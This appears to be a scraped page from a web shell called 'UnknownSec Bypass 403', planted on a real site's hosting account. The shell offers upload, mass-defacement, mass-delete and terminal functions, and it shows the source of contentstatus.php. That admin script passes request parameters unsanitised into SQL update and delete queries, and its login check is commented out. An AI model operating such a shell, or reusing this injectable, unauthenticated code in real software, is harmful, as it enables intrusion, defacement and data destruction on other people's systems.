UnknownSec Bypass
403
:
/
home
/
growthpharma
/
public_html
/
Master@Growth
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
contentstatus.php
<?php include_once("config.php"); //include_once("session_check.php"); if(isset($_GET['id']) and ($_GET['id']!='')) { $id=$_GET['id']; $status=$_GET['status']; $menustatuschange=mysql_query("update content set status='$status' where id='$id'"); if($menustatuschange) { echo "<script>window.location='managecontent.php'</script>"; $_SESSION['mode']="Record Status Updated"; exit(); } else { echo "<script>window.location='managecontent.php'</script>"; $_SESSION['mode1']="Unable To Update Record Status"; exit(); } } if(isset($_GET['delid']) and ($_GET['delid']!='')) { $id=$_GET['delid']; $newsstatus=mysql_query("delete from content where id='".$_GET['delid']."'"); if($newsstatus ) { echo "<script>window.location='managecontent.php'</script>"; $_SESSION['mode']="Record Deleted"; exit(); } else { echo "<script>window.location='managecontent.php'</script>"; $_SESSION['mode1']="Unable To Delete Record"; exit(); } } ?>
Copyright © 2024 - UnknownSec